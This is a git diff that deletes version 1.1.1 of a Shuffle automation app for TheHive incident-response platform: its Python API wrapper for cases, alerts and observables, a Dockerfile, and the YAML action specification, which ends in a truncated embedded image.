range=search_range, sort=[] - ) - return response.text - - def create_case( - self, - apikey, - url, - organisation, - title, - description="", - tlp=1, - severity=1, - tags="", - ): - self.__connect_thehive(url, apikey, organisation) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-2, not %s" % tlp - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 0-2, not %s" % tlp - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 2 or severity < 0: - return "Severity needs to be a number from 0-2, not %d" % tlp - - case = thehive4py.models.Case( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - ) - - try: - ret = self.thehive.create_case(case) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert( - self, - apikey, - url, - organisation, - type, - source, - sourceref, - title, - description="", - tlp=1, - severity=1, - tags="", - ): - self.__connect_thehive(url, apikey, organisation) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-3, not %s" % tlp - - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 1-3, not %s" % severity - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 3 or severity < 1: - return "Severity needs to be a number from 1-3, not %d" % severity - - alert = thehive4py.models.Alert( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - type=type, - source=source, - sourceRef=sourceref, - ) - - try: - ret = self.thehive.create_alert(alert) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert_artifact( - self, - apikey, - url, - organisation, - alert_id, - dataType, - data, - message=None, - tlp="2", - ioc="False", - sighted="False", - ignoreSimilarity="False", - tags=None, - ): - self.__connect_thehive(url, apikey, organisation) - - if tlp: - tlp = int(tlp) - else: - tlp = 2 - - ioc = ioc.lower().strip() == "true" - sighted = sighted.lower().strip() == "true" - ignoreSimilarity = ignoreSimilarity.lower().strip() == "true" - - if tags: - tags = [x.strip() for x in tags.split(",")] - else: - tags = [] - - alert_artifact = thehive4py.models.AlertArtifact( - dataType=dataType, - data=data, - message=message, - tlp=tlp, - ioc=ioc, - sighted=sighted, - ignoreSimilarity=ignoreSimilarity, - tags=tags, - ) - - try: - ret = self.thehive.create_alert_artifact(alert_id, alert_artifact) - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - if ret.status_code > 299: - raise ConnectionError(ret.text) - - return ret.text - - # Gets an item based on input. E.g. field_type = Alert - def get_item(self, apikey, url, organisation, field_type, cur_id): - self.__connect_thehive(url, apikey, organisation) - - newstr = "" - ret = "" - if field_type.lower() == "alert": - ret = self.thehive.get_alert(cur_id + "?similarity=1") - elif field_type.lower() == "case": - ret = self.thehive.get_case(cur_id) - elif field_type.lower() == "case_observables": - ret = self.thehive.get_case_observables(cur_id) - elif field_type.lower() == "case_task": - ret = self.thehive.get_case_task(cur_id) - elif field_type.lower() == "case_tasks": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "case_template": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "linked_cases": - ret = self.thehive.get_linked_cases(cur_id) - elif field_type.lower() == "task_log": - ret = self.thehive.get_task_log(cur_id) - elif field_type.lower() == "task_logs": - ret = self.thehive.get_task_logs(cur_id) - else: - return ( - "%s is not implemented. See https://github.com/frikky/shuffle-apps for more info." - % field_type - ) - - return ret.text - - def close_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_read(alert_id).text - - def reopen_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_unread(alert_id).text - - def create_case_from_alert( - self, apikey, url, organisation, alert_id, case_template=None - ): - self.__connect_thehive(url, apikey, organisation) - response = self.thehive.promote_alert_to_case( - alert_id=alert_id, case_template=case_template - ) - return response.text - - def merge_alert_into_case(self, apikey, url, organisation, alert_id, case_id): - self.__connect_thehive(url, apikey, organisation) - req = url + f"/api/alert/{alert_id}/merge/{case_id}" - ret = requests.post(req, auth=self.thehive.auth) - return ret.text - - # Not sure what the data should be - def update_field( - self, apikey, url, organisation, field_type, cur_id, field, data - ): - # This is kinda silly but.. - if field_type.lower() == "alert": - newdata = {} - - if data.startswith("%s"): - ticket = self.thehive.get_alert(cur_id) - if ticket.status_code != 200: - pass - - newdata[field] = "%s%s" % (ticket.json()[field], data[2:]) - else: - newdata[field] = data - - # Bleh - url = "%s/api/alert/%s" % (url, cur_id) - if field == "status": - if data == "New" or data == "Updated": - url = "%s/markAsUnread" % url - elif data == "Ignored": - url = "%s/markAsRead" % url - - ret = requests.post( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - ) - else: - ret = requests.patch( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - json=newdata, - ) - - return str(ret.status_code) - else: - return ( - "%s is not implemented. See https://github.com/frikky/walkoff-integrations for more info." - % field_type - ) - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def run_analyzer( - self, apikey, url, organisation, cortex_id, analyzer_id, artifact_id - ): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.run_analyzer(cortex_id, artifact_id, analyzer_id).text - - # Creates a task log in TheHive with file - def create_task_log( - self, apikey, url, organisation, task_id, message, filedata={} - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - data = {"_json": """{"message": "%s"}""" % message} - response = requests.post( - "%s/api/case/task/%s/log" % (url, task_id), - headers=headers, - files=files, - data=data, - ) - return response.text - - # Creates an observable as a file in a case - def create_case_file_observable( - self, apikey, url, organisation, case_id, tags, filedata - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - outerarray = {"dataType": "file", "tags": tags} - data = {"_json": """%s""" % json.dumps(outerarray)} - response = requests.post( - "%s/api/case/%s/artifact" % (url, case_id), - headers=headers, - files=files, - data=data, - ) - return response.text - - -if __name__ == "__main__": - TheHive.run() diff --git a/thehive/1.1.1/Dockerfile b/thehive/1.1.1/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/thehive/1.1.1/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/thehive/1.1.1/api.yaml b/thehive/1.1.1/api.yaml deleted file mode 100644 index 0538b825..00000000 --- a/thehive/1.1.1/api.yaml +++ /dev/null @@ -1,499 +0,0 @@ -walkoff_version: 1.1.1 -app_version: 1.1.1 -name: thehive -description: TheHive implementation for Shuffle -tags: - - Ticketing - - Search -categories: - - Cases - - Ticketing - - Search -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - parameters: - - name: apikey - description: The Apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to use - example: "http://localhost:9000" - required: true - schema: - type: string - - name: organisation - description: The Organisation - example: "myorg" - required: false - schema: - type: string -actions: - - name: create_alert - description: Create an alert in TheHive - parameters: - - name: type - description: The type to use for the alert - example: "incident" - required: true - schema: - type: string - - name: source - description: The source to use - example: "SIEM" - required: true - schema: - type: string - - name: sourceref - description: The source reference to use - example: "incident-1234" - required: true - schema: - type: string - - name: title - description: The title to use - example: "THIS IS AN INCIDENT, PANIC" - required: false - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - - name: artifacts - description: The artifacts to add - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string - - name: create_alert_artifact - description: Create an alert artifact (TheHive 4 ONLY) - parameters: - - name: alert_id - description: Alert identifier - example: "~1234" - required: true - schema: - type: string - - name: dataType - description: "Observable's type, must be a valid type, one of the defined data types in TheHive" - example: "ip" - required: true - schema: - type: string - - name: data - description: Observable's data/value - example: "8.8.8.8" - required: true - schema: - type: string - - name: message - description: Observable's description - example: "Extracted IP entity from product X" - required: false - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED. Default: 2" - example: "2" - required: false - schema: - type: string - - name: ioc - description: "Observable's ioc flag, True to mark an observable as IOC. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: sighted - description: "Observable's sighted flag, True to mark the observable as sighted. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: ignoreSimilarity - description: "Observable's similarity ignore flag. Trueto ignore the observable during similarity computing" - example: "False" - required: false - multiline: false - schema: - type: string - - name: tags - description: List of observable tags - example: "ioc,alienvault,abuse.ch" - required: false - schema: - type: string - returns: - example: | - [ - { - "_id": "~4321", - "id": "~4321", - "createdBy": "user.1@example.com", - "createdAt": 1616443009693, - "_type": "case_artifact", - "dataType": "ip", - "data": "8.8.8.8", - "startDate": 1616443009693, - "tlp": 2, - "tags": [ - "test1" - ], - "ioc": false, - "sighted": false, - "message": "Test IP entity", - "reports": {}, - "stats": {} - } - ] - schema: - type: string - - name: create_case - description: Get an item from TheHive - parameters: - - name: title - description: The title to use - example: "" - required: false - multiline: true - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - schema: - type: string - - name: create_case_from_alert - description: Create a case from alert - parameters: - - name: alert_id - description: The alert to promote it - example: "" - required: true - schema: - type: string - - name: case_template - description: Case template name to apply when creating the case - example: "" - required: false - schema: - type: string - returns: - schema: - type: string - - name: merge_alert_into_case - description: Merge alert into case. Each observable of the alert will be added to the case if it doesn't exist in the case. The description of the alert will be appended to the case's description. - parameters: - - name: alert_id - description: The alert to merge into case - example: "" - required: true - schema: - type: string - - name: case_id - description: The case to merge it to - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_case_artifact - description: Add an observable to TheHive - parameters: - - name: case_id - description: The case to add it to - example: "" - required: true - schema: - type: string - - name: data - description: The item to add itself - example: "shuffler.io" - required: true - schema: - type: string - - name: datatype - description: The type of the item to add - example: "domain" - required: true - schema: - type: string - - name: tags - description: The tags to use - example: "shuffle,is,cool" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_item - description: Get an item from TheHive - parameters: - - name: field_type - description: The type to get (alert, case..) - example: "alert" - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to retrieve - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: update_field - description: Update an alert field - parameters: - - name: field_type - description: The type to modify (alert, case..) - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to modify - required: true - schema: - type: string - - name: field - description: The field to modify - required: true - schema: - type: string - - name: data - description: The data to set the field to. If you want to append to what already exists, start with %s. - required: true - multiline: true - schema: - type: string - returns: - schema: - type: number - - name: search_case_title - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "injection" - required: true - schema: - type: string - - name: custom_search - description: custom search Query - parameters: - - name: search_for - description: select case or alert - options: - - case - - alert - required: true - schema: - type: string - - name: custom_query - description: Custom query for search - example: "{\"_field\": \"title\", \"_value\": \"shuffle\"}" - multiline: true - required: true - schema: - type: string - - name: search_alert_title - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "alert" - multiline: true - required: true - schema: - type: string - - name: search_range - description: The amount of alerts to get. Defaults to 0-25 - example: "0-50" - required: false - schema: - type: string - returns: - schema: - type: string - - name: close_alert - description: Close an alert in thehive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: reopen_alert - description: Reopen an alert in TheHive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - - name: run_analyzer - description: Reopen an alert in TheHive - parameters: - - name: cortex_id - description: The cortex ID - example: "MISP_2_0" - required: true - schema: - type: string - - name: analyzer_id - description: The analyzer to run - example: "MISP_2_0" - required: true - schema: - type: string - - name: artifact_id - description: The artifact ID - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: create_task_log - description: Creates a task log in TheHive - parameters: - - name: task_id - description: The task ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: message - description: The message to send - example: "A nice screenshot " - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: false - schema: - type: file - - name: delete_alert_artifact - description: Deletes and artifact from a TheHive alert - parameters: - - name: artifact_id - description: The artifact ID to delete - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: create_case_file_observable - description: Creates a task log in TheHive - parameters: - - name: case_id - description: The case ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: tags - description: Tags for the case artifact - example: "ioc,cool,artifact" - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: file - returns: - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAABkCAYAAABw4pVUAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QA/wD/AP+gvaeTAAAAB3RJTUUH4wgeDxwNTyjOPAAAFq1JREFUeNrtnXmQZEWdxz+Z76iqvquruufgGu4R5ZiRQy65ApFhAEEGhlFc0T2IDdTViI3QCGN31dUIjV1kdZdFQ13XRS5hlVHOheEcEOWQG7lhoKd7unu6q6+qeu9l5v6Rr2t6pq+q7n7VA/qNmICqfvUy8/fL/GX+zhTGGMMiwahRdPEFoqEHiIY3o0tvALqufRBuHqf5Q3itJ+M0HI7wcoBYLJIg6s8QjQ66UEMPEw7djx57HqMGAbNIhIiHLxtw0vvhNB+P23ISTuYAEH7de1M/hpgIVXqZaOB2oqH70eUtYCIQksWckTv3UYOIV03T0XjZs3CaViNkQ926kDxDjEIV/0i4/WaiwgOYaFv8B1m3Qc6h02A0wmnCaToSr/18nOZjEDKTeMuJMkSX3yTsv5lw8A5M0ANCsNushqowgTHNx+Pn1+M0Hg7CTazFRBhi1DDhwG2Efdejy6+PN5XYIJJHzBgvh5ddi5dfj/T3SKSlBWaIQY0+Q7Dtx0TDD4MJ2L1FU+3jA5CZg/E7P4PXesqCb/wLxhCjxwi3byTY9lNM0AXCqT+96gWjEU4jbvZs/M5Lkf7SBXv1gjBEB+8QdP+AcPAOMGXeW6tiOliyOQ1HkFr2OZym1SyEWJ43Q9ToU5S7rkCNPTX+ysWmVH1hNMJfTmrpZXjZNSC8eb1uHgzRRIV7KXd9F11+670toqqghZBNeJ2fwu+4ZF56y9wYYhTh9o2Uu7+Pifr50xBRs8GA8PByF5BachnCbZ3TW2pniAkJ+m4g6PkBRg3xZ2ZMhAEkXnYtqeVfRLjZmt9Qm4ZjIoLe6yj3/CfoIn9mxq4QgCEc+DUAqeVfQrhtNb2heooaTbj9FoKeH8bM+BPbvGuCZUp5679h1EhNv6yaIWHh/yhv/T5Gj/BnZsyGeKVs30jQ8yPQ5ap/WZXIUiO/p9x1JUYNkKyYMoATW4CThrHW5sQmlwAUQd/1CC+P37GBamg3K0N0+U3LjKArYUJpZOYQ/NxF4DRR8VMkBaOJhu4jGrwzwbYEmCJBz4+Q/nLc1lNn/cWMDDFqhHL3VajiswkzwyCcVlJLL8dtOT7BdnaG03g4uvwmeuy5BMcnMWqAcve/I/29kJkDZ3x6BoYYwv4biQr3kPxpyuC2no7bfHT8McToILnmhIuQKaS/FD+/ntLb34xNPkmJL4kuvkq5+yrSe38N4bRM++S0DIlGfkfQe03CchZAI/098fPrrdnBRJR7/hs18luSmQgG4S0lvfwLCC+P23oabmETUeHe2F+TEIQkGnqAsP8m/M5LmY6mUzLERP0EPT/ChH11MIk4eO3nV5ayGv0DYd81sQUgIQIJhzC9H/6SSxFOI15+A2r0D7FvP8nJFxH0XYfTuAqncdWUT0wxBQ1B/y9RI48nzwyjcRrej9d+jv2oxgh6r8VEA9YrJ5xk/qEJt/8vuvgKAG7Taty2M0n8IIHEBD0E2/4Lo4arY4gae4Gw/yZAJdw5AzKDl9+A8DoAiAr3Eg1vTlZ0xMPWwVsE/TfGgRYufn4d0t+HxMOQhEM0/Eh8upuqZzvRKCDsuw4TbCXxjdwY3OYTcFtOsh/DbYR914EuUR/FUxAN3kk08pglRHo/vNwF1GpNmtvYA4K+G9BB16Q/7UT1aORxoqH76jBDDcLL4XdsQDgNWDF5C6r4/DTHTzNHV+n476Yaj8BEA4S9P6+YN7zsWpyGw2w4UKKQ6NIrhNs3squYrIze6BJh/82YqEA9ZqjXtsZGcACq+BLh9l8ynZh0W04ls+Jf8fOX1BDxYXCbTySz4gr8zs+ASE1+RDhEI48SDd5jP3rt8SRpJPn9RBMN/AZden2nbysMUaNPoIZ/WwezhUam9sXLr7MbrAkJ+67HBO8wWUwaECm83Pm4LSfgL/ksTsPhYGbb3wzCzeEv+SvcluPxchcg/SVMuT+YMkHfdehgKwBOy4k4LSdB4vGDEh28TbjLXmIpYELCgVtj/0bSq8PFy12ITO0DQDT8O6LBu6cRkwJMEMf8gnBb8bJngUzN3ITRuM0n4DQcEg+vBxNNNzaJLv2RsP+XgEHINH7+YoTXSfKrxBAN3oUO3pnQG6zIqMvqMBqncTVe9qP2oxoi6L1mlomgCAdvszoR4LZ8GCd90Axy3iDcLF77WivejIon2/YZ2tCEAxtRY88D4DR8AC97drK0AECiy28SDT0w4RsgKmzCRH0kuzoMwmnC7/hExZMWDdyFGn1slokg0aWXKp0WXg43e9b0e4nROE1HIxsOA0CVXiUaun+WsUlMsJWw73prKhcSL3c+Mn0giR+DTUQ0eHc8KUHqsNue/ZOGMbgtp+I2HwuALr9N0H9DHEw3C3RgZ3lUAMBtPQWZWjEFsQw4jXjZtQiZAgzRwG2YsJtZJ5sQRIVNNsAPkKk98XIXJR8BLyS6+GJldUo18hi6/AbJ6h0a4S/F67jYyn+jCftvRpderq5d4aDGnqlMHCEbEE6TFVtGWeXOKBuSI3yE225bLb0RG0erogxGDceWgkEAvOxHcBqPSvgYLDBqBDX0AGBwo8G766CMSbzsuTgN7wNAjT1DOPCb2l5hygQ9P8FEA+jym6jiiwg3h0zvZ/3Wuowub0GHXQQ9V+O0nIQa2owO3qbqySYc1OiThAO343dcjHBa8Ds2UCo+E5s6krKtQTTyGF7Yg6tGH0+KCzE0Mv0+vNx5gMDoEkHfdZiwp0ZbmUSXX6Hc9R0QGbzsWXjtH0Om90c4GdAROuolKjxI2Hct0dvfjOlX68oPCftvxG0+DpneB7f5GNzW0wn7b05QYZaY4G306LNIq6UmaXZO4efXI/1lAKihh+zynOOJTjitpJZ9kfSeX8ZpPCxW4iRIH+nvgd+xnvQ+35nWmloNcXT5dWvPM8rGWuUvQvh7kOQGb/QY0fAjCRusjMZt+hBu22n2Y7Tdymg1ytwmgYuXvwQ/f8GMm63TsJLUHl9GpvadMxHDwVtRozY81skcjNd+HpCs9VuNPp4kQwzCbcPr2IBwmu0gt//GxgDPZXUYjZNZiZ87rypR5zSsxMtvmGOsrcCE/QR912LUGAB+7lyczCEJbvACXd6SLEPctjNwm44EQJdes3KYaM5vdJqPQXj5qp93W05A+nsyp1UiBNHQQ7EOA8LrxMuvB5khOQ1eJ8UQjfT3xs9dGGvLEUHfL9DBm8z5eC0Ewq2eGQDCzVoTyJzsUgJ00bojwl4A3NZTcZuPS9TOlRBDBG7bmcjMAQBEo08SDd4+z3eamqMAMRHMJ1hCSNTYs7GZHITTgJe7IBbByTAlMYbY008MXQITzvut0dB9NvWhKmiiwn1W+ZyPjc4odNTPOAOE05Ro0mdiIiscvLNi0nabjsZtPY35zSqJLj5P6a2vEg7cbt+9a4im0Rg1hBp7jnLX9yl3XYHRcz3R2XEIfzle+7n2HSaKDZWD83jnzEiI1RJdfIGw70ZSyy4HmcLr+CRq9Al0sIX5zAM19hRqy4tIbxkytRfCyyNkC8aEmKgfE3ajy1visFfmSTiJ134uTuYg2/boU0SDdyVDshgJOpAN4cBGay5vWoWTOQgvt47y1u8xPwVLggnRwRu7pFwbKuU5FqQ6hEamV8YRMQKjiwR919vwpASjcRI89gpM2EfQ+z+xIghe+9lWg16Qs7ycENoz/v9x6NBCiBPh4eU+jvSXA6CGNqOGNyfuM0r27UIQDW+uLHPhtuN3fArhtjD3/cTELtwZfj9uBZ5rG0bhNKzCazvDfowG7OpI2sxE4rE+AkyJoO9adPltANyWY3FbP1IjscaZIBHeUpzmY5HpQ6Z8TjhtuNm1OI1HxDG0htpEZOxIy19UyRMMB+9Cjf6hLomtdQhCkujSy3aDX/4FEB5+xwbUyO+rUBQNGOuSdRpX4baciNO4CuG2U9rydXTx2clEMgFedg1O4xHo4ktEww/b6kOlVydUH5qpSY3TfDxOHIWvg644cDCkHil8dWCIRTjwa5yWE3Cbj0am98fLr6e89YppIkhiRniduK2n4mXXIDMHI2QaADX6DGr0yQnEHa+1ZZ1MUWETbvOx9jDRdARefh2qcH/sN39hBuLG0Sr5i+LKP4aw/xZ06ZW6MKOODBGYqJ+w92c4De9DOM142TVEhU2okd/vPGuNRrituK2n4+U+bo+cuyhiUWETRk1Ix5YNsU6iQQjU8G/R5beQ6RWAQHqdyPw63NZTCQfvst7K8iuVvu1EkLbTK6Z7VXwpTuDUdWNI/dJo46C0cOAO+9FtQ6b3Z8deYme503QM6b2/bf0dDYdMYoYOuomGHpzwXg8/d1FcnccSTodbp4wTsNGSF5PZ97t4uYsRsmmXE5+0ES2VeLGbMOFU8WLJoW4iC7Cxw70/RYgUCBc1/IhdHUYj3Ha8/Hr8/LqKT3wq2Nn/RkwkjUztg5e/EKOG0f1vxCpJRFTYhNd+TsX0PxEytRfpPb5E1HQU5Z4foksvVN4XDt6OcHPo4C2iwh3UO8G1vgxBooN3KL3zDcaD4MAgMyvjdLbjZjzJGF20QQsmqOgbbsvJSH8ZbutpRIO3W1OJsJYCNfr09ClywsNtOxWZOYBy99VxNLpCjT5OcezZeG9LOllpKgrVHSKOErFWWKf5BDL7fAu39cRZj5V67Ln4+CmxG3BHJZHSaTwU2XBoLIJsJIdl3sxhpzK1N+k9v4Lf+enY10HcN8VipH8vYikGidt2Jum9/jHeS2aDISxs2hHlaAxOZiXCaUYHPaCLNu53nKlCoIYftcU2Z4Fwmkkt+RtSSy9HyHoEWk+POousHfCyZ8elJ6or0qLLb6OGHtoxaYVEjT1D8bXLK8+YSoUJW3NEh11Ew5vx0ytmb0D6+PmLAEHQfdWiFUhYBIbYCMbUss/VVDEnGn54UoyVUYMTrLowrotMeIBo6AG89vPiPJRZIFz8/IVgFOXu/wBTr+ShHaizyNI4DYfbSjk1+MbtfrApzgiufBv/V7AzI8yOv8Wbuy6+WH0XhYuXv9AyZhEkeh1XiEG4S/CXXo5M7VXTL9Xo0+ixCcULhGc9d9PMXqPHKtGYJioQFe7FaVpFtbNdyBR+56Wo0quxmHxP6iEOfn4DbvORtf3M6FgzH44VNo3bdtq0ud5CSMLBTQQ9V2M1d4iGH8ILLq6Y0quBcLOklvw1xdIrNsqyTqKrPgwxCqdpNV7unJoHpoMtqJFH4jBOY/PKs2sqXryp4GU9ooFbKt5JXd6CGn4UmTuvpradxsPw2s+PmVsf1MlAk8HLXTijBj4doqHNsW8+1j1SK5CpfTFqBKOGd/k3itEBwuvAaTxyglUmICrcY0VZTRB47ecg0wdQl1sbhF+HFWI0TuP7cZs/VPtP1VCs3EUVzdyEPZTe+iqTV5qteWgtwsKmHFf2HIkaexo99mJczrV6WCvA6QSllxMmlEZmDqgDQ4TAbT5uTkUh1ehTqOILEzZVazVWceDabO3uEADjm/ummjb3cbhNRxH2NmN0gikJSNymY5DCW0KimqnwEKkVtf/OhNb1O8ltKqosn7GLNI43d11+p4ZOxD/1O+fpdp51sAinBafpGKTbfFxCjUwY0Bxcn6r4KtFOiajjrtha/40TUaLLbxENPTSH/vuJBsdhNDK9P07DSly39VSiwt3JpUQbha5GxOyCqHAPJuqN+6RxGsazd2voo4Bw8G7UyKPY8KGIqHA3XvtZU5rlp4OOBueRQlFNP6UV604rrtN4KDJzMGr40WSc+CaylYVy51WdGqCDrVYzr8RZ2ZAcr31t7WN12imOPhWb7CWq+Dxq5Enc1g9X/Q5d/GOcd5gEQwzCba/48KVwWnFbTkluSQqJGnmUaKTa1DlDNHBrHAQXO6H8FThNR82peadpNU76wIpZHjVCOLCx6iOwUUOEA7ctSGzy1A3Y3H0ntni7YPMowr7r0MFbLLxqIjBqgKD7KuvbTu8349PR4D0Evddi5f+4jcoQ9t04txw/A8YEO1mJo6EHCft/Za27M0kFExH03Yga3cXvv2CIS1S1nVHJCItLjRvKXVcS9P6U5HRFg9NwGP7Sy3GbVk0SX0YNE26/jWDbjzFRz+R+zCfacdJVS/ZU43d+Bi/38Sn3ExP2EfTdQNh37TwDtmciicJp+iCZfa9EOFYtqNR+V8UXKb7+hYTtNhrhtNur6ZqOsoXLdBldfp1o+BHU2NMJF6PciRogPJzG1bgtp+BkDgSZsb75sWeJCvdaHShRz6EkveeX8XLrKt/sKMZvNKWufyHs+zmJF0s22q4Q6cdhn+X4u6nEx3SB06qKqkATsJOiOLE7ClultAGEgzEh6DHGnVzJkUHjNB5KZsWVO7kiduzkwobeR4V7MWFXgp0RlbqHO2rIi2lluZc9G6f5mMkiSxcxplhlm7bIS7j9V5M3Z+EAJvYQTuhj0qtUpvBy6yb5hXY6WjmZg/Daz7EF9+uCWQZtlJ0obWfMe1MNtv1sFwdXjX1ZSBiF03zslJWuJ9kXvPaPITMr61DmrgoISTT8MGqehj0TDRAV7q5NxCUGmy7u5z8xdczYpC/8Zfgdl0BcC3FxITBhN2H/r2aZ3TMjGrxnFyPl4sLNrsFtPmbKv03ZQ6/1tDg3YrEZYhEN3rpz+GgN0MWXCPp+Xl0ZqKRhNDKzEr/jk9Mq4lNPGZnC7/x0/RwzM0JgVIHy1u/ZILkaoINuSluvRJdfY1FD0ACr+zTjd342LmYwNabtpUytsJdbyeRysquHRJdfo7TlG0SFB6sQXwY19iKlLV+z8cOLzgwAYe1xrSfP/NSMl4KZiHLPDwh6fsziMwWsYpnFbfsoXnYtMrNfnMcRB8fpAB10ERXutaXE55nxu2AwGqflBDJ7fx3h5mZ8dNZb2owaorTln4kKd+4eg6sk8GeR6f1tdVOZBh2iwy506dXY2qB2j/4a65pN7/0tnMzBsz5e1bV5uryF0pZ/QI08sducVCoa/6QRLURK9EJBI9wO0nv9E27LCVX9oirqytRepJb/fXylxGJv8uOYxpW7OzHDaSG17PM13RpU9XR3Gg4hvcdXkP5eu4fSuFvDIGQj/pLLbOHnGiZJTfLHafogqT2/gkztuZtovbsjDEI24C/9WxsfXKMXdk534UbDj1B+5zvo0mu70Z6yO0AjZDP+0sti51ft1ezmfFu0Gn2K0jvfTviGs3cTNMLNkVr2ebzs2jm7xOd1n7ouvUqp6wpbA8S+brGpsjgwCpnel9SyL+K2njQvOsz7gnsT9lLu+aGtumZK7BZn/7rBks5pPJLU8r/DafjAvN84b4aATSULt99CsO0nmKC7LjVBFh/aBihkzyG15C/j6y3mjwVhiIVBjTxJuedq1Mhj7Igaea/Blv2Q6X3wOz+L1/bR2e8zqQELyJC4u9F2gr5fEPbfhAm3TRHx8S6G0eA04LWeht/5F/F1FguLBWeIhUaNPkPQew3R8EOgRt/lYkwDjr1